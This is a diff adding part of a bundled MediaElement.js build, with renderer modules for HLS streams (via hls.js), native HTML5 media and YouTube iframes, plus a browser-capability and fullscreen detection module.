+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(27);
+
+var _constants = _dereq_(25);
+
+var _media = _dereq_(28);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NativeHls = {
+
+	promise: null,
+
+	load: function load(settings) {
+		if (typeof Hls !== 'undefined') {
+			NativeHls.promise = new Promise(function (resolve) {
+				resolve();
+			}).then(function () {
+				NativeHls._createPlayer(settings);
+			});
+		} else {
+			settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdnjs.cloudflare.com/ajax/libs/hls.js/0.8.4/hls.min.js';
+
+			NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path);
+			NativeHls.promise.then(function () {
+				NativeHls._createPlayer(settings);
+			});
+		}
+
+		return NativeHls.promise;
+	},
+
+	_createPlayer: function _createPlayer(settings) {
+		var player = new Hls(settings.options);
+		_window2.default['__ready__' + settings.id](player);
+		return player;
+	}
+};
+
+var HlsNativeRenderer = {
+	name: 'native_hls',
+	options: {
+		prefix: 'native_hls',
+		hls: {
+			path: 'https://cdnjs.cloudflare.com/ajax/libs/hls.js/0.8.4/hls.min.js',
+
+			autoStartLoad: false,
+			debug: false
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return _constants.HAS_MSE && ['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) > -1;
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var originalNode = mediaElement.originalNode,
+		    id = mediaElement.id + '_' + options.prefix,
+		    preload = originalNode.getAttribute('preload'),
+		    autoplay = originalNode.autoplay;
+
+		var hlsPlayer = null,
+		    node = null,
+		    index = 0,
+		    total = mediaFiles.length;
+
+		node = originalNode.cloneNode(true);
+		options = Object.assign(options, mediaElement.options);
+		options.hls.autoStartLoad = preload && preload !== 'none' || autoplay;
+
+		var props = _mejs2.default.html5media.properties,
+		    events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    attachNativeEvents = function attachNativeEvents(e) {
+			if (e.type !== 'error') {
+				var _event = (0, _general.createEvent)(e.type, mediaElement);
+				mediaElement.dispatchEvent(_event);
+			}
+		},
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return hlsPlayer !== null ? node[propName] : null;
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					if (propName === 'src') {
+						node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value;
+						if (hlsPlayer !== null) {
+							hlsPlayer.destroy();
+							for (var i = 0, _total = events.length; i < _total; i++) {
+								node.removeEventListener(events[i], attachNativeEvents);
+							}
+							hlsPlayer = NativeHls._createPlayer({
+								options: options.hls,
+								id: id
+							});
+							hlsPlayer.loadSource(value);
+							hlsPlayer.attachMedia(node);
+						}
+					} else {
+						node[propName] = value;
+					}
+				}
+			};
+		};
+
+		for (var i = 0, _total2 = props.length; i < _total2; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		_window2.default['__ready__' + id] = function (_hlsPlayer) {
+			mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer;
+			var hlsEvents = Hls.Events,
+			    assignEvents = function assignEvents(eventName) {
+				if (eventName === 'loadedmetadata') {
+					var url = mediaElement.originalNode.src;
+					hlsPlayer.detachMedia();
+					hlsPlayer.loadSource(url);
+					hlsPlayer.attachMedia(node);
+				}
+
+				node.addEventListener(eventName, attachNativeEvents);
+			};
+
+			for (var _i = 0, _total3 = events.length; _i < _total3; _i++) {
+				assignEvents(events[_i]);
+			}
+
+			var recoverDecodingErrorDate = void 0,
+			    recoverSwapAudioCodecDate = void 0;
+			var assignHlsEvents = function assignHlsEvents(name, data) {
+				if (name === 'hlsError') {
+					console.warn(data);
+					data = data[1];
+
+					if (data.fatal) {
+						switch (data.type) {
+							case 'mediaError':
+								var now = new Date().getTime();
+								if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate > 3000) {
+									recoverDecodingErrorDate = new Date().getTime();
+									hlsPlayer.recoverMediaError();
+								} else if (!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate > 3000) {
+									recoverSwapAudioCodecDate = new Date().getTime();
+									console.warn('Attempting to swap Audio Codec and recover from media error');
+									hlsPlayer.swapAudioCodec();
+									hlsPlayer.recoverMediaError();
+								} else {
+									var message = 'Cannot recover, last media error recovery failed';
+									mediaElement.generateError(message, node.src);
+									console.error(message);
+								}
+								break;
+							case 'networkError':
+								if (data.details === 'manifestLoadError') {
+									if (index < total && mediaFiles[index + 1] !== undefined) {
+										node.setSrc(mediaFiles[index++].src);
+										node.load();
+										node.play();
+									} else {
+										var _message = 'Network error';
+										mediaElement.generateError(_message, mediaFiles);
+										console.error(_message);
+									}
+								} else {
+									var _message2 = 'Network error';
+									mediaElement.generateError(_message2, mediaFiles);
+									console.error(_message2);
+								}
+								break;
+							default:
+								hlsPlayer.destroy();
+								break;
+						}
+					}
+				} else {
+					var _event2 = (0, _general.createEvent)(name, mediaElement);
+					_event2.data = data;
+					mediaElement.dispatchEvent(_event2);
+				}
+			};
+
+			var _loop = function _loop(eventType) {
+				if (hlsEvents.hasOwnProperty(eventType)) {
+					hlsPlayer.on(hlsEvents[eventType], function () {
+						for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+							args[_key] = arguments[_key];
+						}
+
+						return assignHlsEvents(hlsEvents[eventType], args);
+					});
+				}
+			};
+
+			for (var eventType in hlsEvents) {
+				_loop(eventType);
+			}
+		};
+
+		if (total > 0) {
+			for (; index < total; index++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
+					node.setAttribute('src', mediaFiles[index].src);
+					break;
+				}
+			}
+		}
+
+		if (preload !== 'auto' && !autoplay) {
+			node.addEventListener('play', function () {
+				if (hlsPlayer !== null) {
+					hlsPlayer.startLoad();
+				}
+			});
+
+			node.addEventListener('pause', function () {
+				if (hlsPlayer !== null) {
+					hlsPlayer.stopLoad();
+				}
+			});
+		}
+
+		node.setAttribute('id', id);
+
+		originalNode.parentNode.insertBefore(node, originalNode);
+		originalNode.autoplay = false;
+		originalNode.style.display = 'none';
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			node.pause();
+			node.style.display = 'none';
+			return node;
+		};
+
+		node.show = function () {
+			node.style.display = '';
+			return node;
+		};
+
+		node.destroy = function () {
+			if (hlsPlayer !== null) {
+				hlsPlayer.stopLoad();
+				hlsPlayer.destroy();
+			}
+		};
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		mediaElement.promises.push(NativeHls.load({
+			options: options.hls,
+			id: id
+		}));
+
+		return node;
+	}
+};
+
+_media.typeChecks.push(function (url) {
+	return ~url.toLowerCase().indexOf('.m3u8') ? 'application/x-mpegURL' : null;
+});
+
+_renderer.renderer.add(HlsNativeRenderer);
+
+},{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],23:[function(_dereq_,module,exports){
+'use strict';
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(27);
+
+var _constants = _dereq_(25);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var HtmlMediaElement = {
+	name: 'html5',
+	options: {
+		prefix: 'html5'
+	},
+
+	canPlayType: function canPlayType(type) {
+
+		var mediaElement = _document2.default.createElement('video');
+
+		if (_constants.IS_ANDROID && /\/mp(3|4)$/i.test(type) || ~['application/x-mpegurl', 'vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) && _constants.SUPPORTS_NATIVE_HLS) {
+			return 'yes';
+		} else if (mediaElement.canPlayType) {
+			return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, '');
+		} else {
+			return '';
+		}
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var id = mediaElement.id + '_' + options.prefix;
+		var isActive = false;
+
+		var node = null;
+
+		if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) {
+			node = _document2.default.createElement('audio');
+			mediaElement.appendChild(node);
+		} else {
+			node = mediaElement.originalNode;
+		}
+
+		node.setAttribute('id', id);
+
+		var props = _mejs2.default.html5media.properties,
+		    assignGettersSetters = function assignGettersSetters(propName) {
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			node['get' + capName] = function () {
+				return node[propName];
+			};
+
+			node['set' + capName] = function (value) {
+				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
+					node[propName] = value;
+				}
+			};
+		};
+
+		for (var i = 0, _total = props.length; i < _total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		var events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']),
+		    assignEvents = function assignEvents(eventName) {
+			node.addEventListener(eventName, function (e) {
+				if (isActive) {
+					var _event = (0, _general.createEvent)(e.type, e.target);
+					mediaElement.dispatchEvent(_event);
+				}
+			});
+		};
+
+		for (var _i = 0, _total2 = events.length; _i < _total2; _i++) {
+			assignEvents(events[_i]);
+		}
+
+		node.setSize = function (width, height) {
+			node.style.width = width + 'px';
+			node.style.height = height + 'px';
+			return node;
+		};
+
+		node.hide = function () {
+			isActive = false;
+			node.style.display = 'none';
+
+			return node;
+		};
+
+		node.show = function () {
+			isActive = true;
+			node.style.display = '';
+
+			return node;
+		};
+
+		var index = 0,
+		    total = mediaFiles.length;
+		if (total > 0) {
+			for (; index < total; index++) {
+				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
+					node.setAttribute('src', mediaFiles[index].src);
+					break;
+				}
+			}
+		}
+
+		node.addEventListener('error', function (e) {
+			if (e.target.error.code === 4 && isActive) {
+				if (index < total && mediaFiles[index + 1] !== undefined) {
+					node.src = mediaFiles[index++].src;
+					node.load();
+					node.play();
+				} else {
+					mediaElement.generateError('Media error: Format(s) not supported or source(s) not found', mediaFiles);
+				}
+			}
+		});
+
+		var event = (0, _general.createEvent)('rendererready', node);
+		mediaElement.dispatchEvent(event);
+
+		return node;
+	}
+};
+
+_window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement;
+
+_renderer.renderer.add(HtmlMediaElement);
+
+},{"2":2,"25":25,"27":27,"3":3,"7":7,"8":8}],24:[function(_dereq_,module,exports){
+'use strict';
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(27);
+
+var _media = _dereq_(28);
+
+var _dom = _dereq_(26);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var YouTubeApi = {
+	isIframeStarted: false,
+
+	isIframeLoaded: false,
+
+	iframeQueue: [],
+
+	enqueueIframe: function enqueueIframe(settings) {
+		YouTubeApi.isLoaded = typeof YT !== 'undefined' && YT.loaded;
+
+		if (YouTubeApi.isLoaded) {
+			YouTubeApi.createIframe(settings);
+		} else {
+			YouTubeApi.loadIframeApi();
+			YouTubeApi.iframeQueue.push(settings);
+		}
+	},
+
+	loadIframeApi: function loadIframeApi() {
+		if (!YouTubeApi.isIframeStarted) {
+			(0, _dom.loadScript)('https://www.youtube.com/player_api');
+			YouTubeApi.isIframeStarted = true;
+		}
+	},
+
+	iFrameReady: function iFrameReady() {
+
+		YouTubeApi.isLoaded = true;
+		YouTubeApi.isIframeLoaded = true;
+
+		while (YouTubeApi.iframeQueue.length > 0) {
+			var settings = YouTubeApi.iframeQueue.pop();
+			YouTubeApi.createIframe(settings);
+		}
+	},
+
+	createIframe: function createIframe(settings) {
+		return new YT.Player(settings.containerId, settings);
+	},
+
+	getYouTubeId: function getYouTubeId(url) {
+
+		var youTubeId = '';
+
+		if (url.indexOf('?') > 0) {
+			youTubeId = YouTubeApi.getYouTubeIdFromParam(url);
+
+			if (youTubeId === '') {
+				youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
+			}
+		} else {
+			youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
+		}
+
+		var id = youTubeId.substring(youTubeId.lastIndexOf('/') + 1);
+		youTubeId = id.split('?');
+		return youTubeId[0];
+	},
+
+	getYouTubeIdFromParam: function getYouTubeIdFromParam(url) {
+
+		if (url === undefined || url === null || !url.trim().length) {
+			return null;
+		}
+
+		var parts = url.split('?'),
+		    parameters = parts[1].split('&');
+
+		var youTubeId = '';
+
+		for (var i = 0, total = parameters.length; i < total; i++) {
+			var paramParts = parameters[i].split('=');
+			if (paramParts[0] === 'v') {
+				youTubeId = paramParts[1];
+				break;
+			}
+		}
+
+		return youTubeId;
+	},
+
+	getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) {
+
+		if (url === undefined || url === null || !url.trim().length) {
+			return null;
+		}
+
+		var parts = url.split('?');
+		url = parts[0];
+		return url.substring(url.lastIndexOf('/') + 1);
+	},
+
+	getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) {
+		if (url === undefined || url === null || !url.trim().length || url.indexOf('//www.youtube') === -1) {
+			return url;
+		}
+
+		var parts = url.split('/');
+		parts[2] = parts[2].replace('.com', '-nocookie.com');
+		return parts.join('/');
+	}
+};
+
+var YouTubeIframeRenderer = {
+	name: 'youtube_iframe',
+
+	options: {
+		prefix: 'youtube_iframe',
+
+		youtube: {
+			autoplay: 0,
+			controls: 0,
+			disablekb: 1,
+			end: 0,
+			loop: 0,
+			modestbranding: 0,
+			playsinline: 0,
+			rel: 0,
+			showinfo: 0,
+			start: 0,
+			iv_load_policy: 3,
+
+			nocookie: false,
+
+			imageQuality: null
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return ~['video/youtube', 'video/x-youtube'].indexOf(type.toLowerCase());
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var youtube = {},
+		    apiStack = [],
+		    readyState = 4;
+
+		var youTubeApi = null,
+		    paused = true,
+		    ended = false,
+		    youTubeIframe = null,
+		    volume = 1;
+
+		youtube.options = options;
+		youtube.id = mediaElement.id + '_' + options.prefix;
+		youtube.mediaElement = mediaElement;
+
+		var props = _mejs2.default.html5media.properties,
+		    assignGettersSetters = function assignGettersSetters(propName) {
+
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+			youtube['get' + capName] = function () {
+				if (youTubeApi !== null) {
+					var value = null;
+
+					switch (propName) {
+						case 'currentTime':
+							return youTubeApi.getCurrentTime();
+						case 'duration':
+							return youTubeApi.getDuration();
+						case 'volume':
+							volume = youTubeApi.getVolume() / 100;
+							return volume;
+						case 'paused':
+							return paused;
+						case 'ended':
+							return ended;
+						case 'muted':
+							return youTubeApi.isMuted();
+						case 'buffered':
+							var percentLoaded = youTubeApi.getVideoLoadedFraction(),
+							    duration = youTubeApi.getDuration();
+							return {
+								start: function start() {
+									return 0;
+								},
+								end: function end() {
+									return percentLoaded * duration;
+								},
+								length: 1
+							};
+						case 'src':
+							return youTubeApi.getVideoUrl();
+						case 'readyState':
+							return readyState;
+					}
+
+					return value;
+				} else {
+					return null;
+				}
+			};
+
+			youtube['set' + capName] = function (value) {
+				if (youTubeApi !== null) {
+					switch (propName) {
+						case 'src':
+							var url = typeof value === 'string' ? value : value[0].src,
+							    _videoId = YouTubeApi.getYouTubeId(url);
+
+							if (mediaElement.originalNode.autoplay) {
+								youTubeApi.loadVideoById(_videoId);
+							} else {
+								youTubeApi.cueVideoById(_videoId);
+							}
+							break;
+						case 'currentTime':
+							youTubeApi.seekTo(value);
+							break;
+						case 'muted':
+							if (value) {
+								youTubeApi.mute();
+							} else {
+								youTubeApi.unMute();
+							}
+							setTimeout(function () {
+								var event = (0, _general.createEvent)('volumechange', youtube);
+								mediaElement.dispatchEvent(event);
+							}, 50);
+							break;
+						case 'volume':
+							volume = value;
+							youTubeApi.setVolume(value * 100);
+							setTimeout(function () {
+								var event = (0, _general.createEvent)('volumechange', youtube);
+								mediaElement.dispatchEvent(event);
+							}, 50);
+							break;
+						case 'readyState':
+							var event = (0, _general.createEvent)('canplay', youtube);
+							mediaElement.dispatchEvent(event);
+							break;
+						default:
+							
+							break;
+					}
+				} else {
+					apiStack.push({ type: 'set', propName: propName, value: value });
+				}
+			};
+		};
+
+		for (var i = 0, total = props.length; i < total; i++) {
+			assignGettersSetters(props[i]);
+		}
+
+		var methods = _mejs2.default.html5media.methods,
+		    assignMethods = function assignMethods(methodName) {
+			youtube[methodName] = function () {
+				if (youTubeApi !== null) {
+					switch (methodName) {
+						case 'play':
+							paused = false;
+							return youTubeApi.playVideo();
+						case 'pause':
+							paused = true;
+							return youTubeApi.pauseVideo();
+						case 'load':
+							return null;
+					}
+				} else {
+					apiStack.push({ type: 'call', methodName: methodName });
+				}
+			};
+		};
+
+		for (var _i = 0, _total = methods.length; _i < _total; _i++) {
+			assignMethods(methods[_i]);
+		}
+
+		var youtubeContainer = _document2.default.createElement('div');
+		youtubeContainer.id = youtube.id;
+
+		if (youtube.options.youtube.nocookie) {
+			mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src);
+		}
+
+		mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode);
+		mediaElement.originalNode.style.display = 'none';
+
+		var isAudio = mediaElement.originalNode.tagName.toLowerCase() === 'audio',
+		    height = isAudio ? '1' : mediaElement.originalNode.height,
+		    width = isAudio ? '1' : mediaElement.originalNode.width,
+		    videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src),
+		    youtubeSettings = {
+			id: youtube.id,
+			containerId: youtubeContainer.id,
+			videoId: videoId,
+			height: height,
+			width: width,
+			playerVars: Object.assign({
+				controls: 0,
+				rel: 0,
+				disablekb: 1,
+				showinfo: 0,
+				modestbranding: 0,
+				html5: 1,
+				iv_load_policy: 3
+			}, youtube.options.youtube),
+			origin: _window2.default.location.host,
+			events: {
+				onReady: function onReady(e) {
+					mediaElement.youTubeApi = youTubeApi = e.target;
+					mediaElement.youTubeState = {
+						paused: true,
+						ended: false
+					};
+
+					if (apiStack.length) {
+						for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) {
+
+							var stackItem = apiStack[_i2];
+
+							if (stackItem.type === 'set') {
+								var propName = stackItem.propName,
+								    capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1);
+
+								youtube['set' + capName](stackItem.value);
+							} else if (stackItem.type === 'call') {
+								youtube[stackItem.methodName]();
+							}
+						}
+					}
+
+					youTubeIframe = youTubeApi.getIframe();
+
+					if (mediaElement.originalNode.muted) {
+						youTubeApi.mute();
+					}
+
+					var events = ['mouseover', 'mouseout'],
+					    assignEvents = function assignEvents(e) {
+						var newEvent = (0, _general.createEvent)(e.type, youtube);
+						mediaElement.dispatchEvent(newEvent);
+					};
+
+					for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) {
+						youTubeIframe.addEventListener(events[_i3], assignEvents, false);
+					}
+
+					var initEvents = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay'];
+
+					for (var _i4 = 0, _total4 = initEvents.length; _i4 < _total4; _i4++) {
+						var event = (0, _general.createEvent)(initEvents[_i4], youtube);
+						mediaElement.dispatchEvent(event);
+					}
+				},
+				onStateChange: function onStateChange(e) {
+					var events = [];
+
+					switch (e.data) {
+						case -1:
+							events = ['loadedmetadata'];
+							paused = true;
+							ended = false;
+							break;
+						case 0:
+							events = ['ended'];
+							paused = false;
+							ended = !youtube.options.youtube.loop;
+							if (!youtube.options.youtube.loop) {
+								youtube.stopInterval();
+							}
+							break;
+						case 1:
+							events = ['play', 'playing'];
+							paused = false;
+							ended = false;
+							youtube.startInterval();
+							break;
+						case 2:
+							events = ['pause'];
+							paused = true;
+							ended = false;
+							youtube.stopInterval();
+							break;
+						case 3:
+							events = ['progress'];
+							ended = false;
+							break;
+						case 5:
+							events = ['loadeddata', 'loadedmetadata', 'canplay'];
+							paused = true;
+							ended = false;
+							break;
+					}
+
+					for (var _i5 = 0, _total5 = events.length; _i5 < _total5; _i5++) {
+						var event = (0, _general.createEvent)(events[_i5], youtube);
+						mediaElement.dispatchEvent(event);
+					}
+				},
+				onError: function onError(e) {
+					var event = (0, _general.createEvent)('error', youtube);
+					event.data = e.data;
+					mediaElement.dispatchEvent(event);
+				}
+			}
+		};
+
+		if (isAudio || mediaElement.originalNode.hasAttribute('playsinline')) {
+			youtubeSettings.playerVars.playsinline = 1;
+		}
+
+		if (mediaElement.originalNode.controls) {
+			youtubeSettings.playerVars.controls = 1;
+		}
+		if (mediaElement.originalNode.autoplay) {
+			youtubeSettings.playerVars.autoplay = 1;
+		}
+		if (mediaElement.originalNode.loop) {
+			youtubeSettings.playerVars.loop = 1;
+		}
+
+		YouTubeApi.enqueueIframe(youtubeSettings);
+
+		youtube.onEvent = function (eventName, player, _youTubeState) {
+			if (_youTubeState !== null && _youTubeState !== undefined) {
+				mediaElement.youTubeState = _youTubeState;
+			}
+		};
+
+		youtube.setSize = function (width, height) {
+			if (youTubeApi !== null) {
+				youTubeApi.setSize(width, height);
+			}
+		};
+		youtube.hide = function () {
+			youtube.stopInterval();
+			youtube.pause();
+			if (youTubeIframe) {
+				youTubeIframe.style.display = 'none';
+			}
+		};
+		youtube.show = function () {
+			if (youTubeIframe) {
+				youTubeIframe.style.display = '';
+			}
+		};
+		youtube.destroy = function () {
+			youTubeApi.destroy();
+		};
+		youtube.interval = null;
+
+		youtube.startInterval = function () {
+			youtube.interval = setInterval(function () {
+				var event = (0, _general.createEvent)('timeupdate', youtube);
+				mediaElement.dispatchEvent(event);
+			}, 250);
+		};
+		youtube.stopInterval = function () {
+			if (youtube.interval) {
+				clearInterval(youtube.interval);
+			}
+		};
+		youtube.getPosterUrl = function () {
+			var quality = options.youtube.imageQuality,
+			    resolutions = ['default', 'hqdefault', 'mqdefault', 'sddefault', 'maxresdefault'],
+			    id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src);
+			return quality && resolutions.indexOf(quality) > -1 && id ? 'https://img.youtube.com/vi/' + id + '/' + quality + '.jpg' : '';
+		};
+
+		return youtube;
+	}
+};
+
+_window2.default.onYouTubePlayerAPIReady = function () {
+	YouTubeApi.iFrameReady();
+};
+
+_media.typeChecks.push(function (url) {
+	return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? 'video/x-youtube' : null
+	);
+});
+
+_renderer.renderer.add(YouTubeIframeRenderer);
+
+},{"2":2,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],25:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined;
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NAV = exports.NAV = _window2.default.navigator;
+var UA = exports.UA = NAV.userAgent.toLowerCase();
+var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) && !_window2.default.MSStream;
+var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) && !_window2.default.MSStream;
+var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) && !_window2.default.MSStream;
+var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) && !_window2.default.MSStream;
+var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA);
+var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName);
+var IS_EDGE = exports.IS_EDGE = 'msLaunchUri' in NAV && !('documentMode' in _document2.default);
+var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA);
+var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA);
+var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) && !IS_CHROME;
+var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA);
+var HAS_MSE = exports.HAS_MSE = 'MediaSource' in _window2.default;
+var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () {
+	var element = _document2.default.createElement('x'),
+	    documentElement = _document2.default.documentElement,
+	    getComputedStyle = _window2.default.getComputedStyle;
+
+	if (!('pointerEvents' in element.style)) {
+		return false;
+	}
+
+	element.style.pointerEvents = 'auto';
+	element.style.pointerEvents = 'x';
+	documentElement.appendChild(element);
+	var supports = getComputedStyle && getComputedStyle(element, '').pointerEvents === 'auto';
+	element.remove();
+	return !!supports;
+}();
+
+var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () {
+	var supportsPassive = false;
+	try {
+		var opts = Object.defineProperty({}, 'passive', {
+			get: function get() {
+				supportsPassive = true;
+			}
+		});
+		_window2.default.addEventListener('test', null, opts);
+	} catch (e) {}
+
+	return supportsPassive;
+}();
+
+var html5Elements = ['source', 'track', 'audio', 'video'];
+var video = void 0;
+
+for (var i = 0, total = html5Elements.length; i < total; i++) {
+	video = _document2.default.createElement(html5Elements[i]);
+}
+
+var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_ANDROID && (IS_CHROME || IS_STOCK_ANDROID) || IS_IE && /edge/i.test(UA);
+
+var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined;
+
+var hasNativeFullscreen = video.requestFullscreen !== undefined;
+
+if (hasiOSFullScreen && /mac os x 10_5/i.test(UA)) {
+	hasNativeFullscreen = false;
+	hasiOSFullScreen = false;
+}
+
+var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined;
+var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined;
+var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined;
+var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen;
+var nativeFullScreenEnabled = hasTrueNativeFullScreen;
+var fullScreenEventName = '';
+var isFullScreen = void 0,
+    requestFullScreen = void 0,
+    cancelFullScreen = void 0;
+
+if (hasMozNativeFullScreen) {
+	nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled;
+} else if (hasMsNativeFullScreen) {
+	nativeFullScreenEnabled = _document2.default.msFullscreenEnabled;
+}
+
+if (IS_CHROME) {
+	hasiOSFullScreen = false;
+}
+
+if (hasTrueNativeFullScreen) {
+	if (hasWebkitNativeFullScreen) {
+		fullScreenEventName = 'webkitfullscreenchange';
+	} else if (hasMozNativeFullScreen) {
+		fullScreenEventName = 'mozfullscreenchange';
+	} else if (hasMsNativeFullScreen) {
+		fullScreenEventName = 'MSFullscreenChange';
+	}
+
+	exports.isFullScreen = isFullScreen = function isFullScreen() {
+		if (hasMozNativeFullScreen) {
+			return _document2.default.mozFullScreen;
+		} else if (hasWebkitNativeFullScreen) {
+			return _document2.default.webkitIsFullScreen;
+		} else if (hasMsNativeFullScreen) {
+			return _document2.default.msFullscreenElement !== null;
+		}
+	};
+
+	exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) {
+		if (hasWebkitNativeFullScreen) {
+			el.webkitRequestFullScreen();
+		} else if (hasMozNativeFullScreen) {
+			el.mozRequestFullScreen();
+		} else if (hasMsNativeFullScreen) {
+			el.msRequestFullscreen();
+		}
+	};
+
+	exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() {
+		if (hasWebkitNativeFullScreen) {
+			_document2.default.webkitCancelFullScreen();
+		} else if (hasMozNativeFullScreen) {
+			_document2.default.mozCancelFullScreen();
+		} else if (hasMsNativeFullScreen) {
+			_document2.default.msExitFullscreen();
+		}
+	};
+}
+
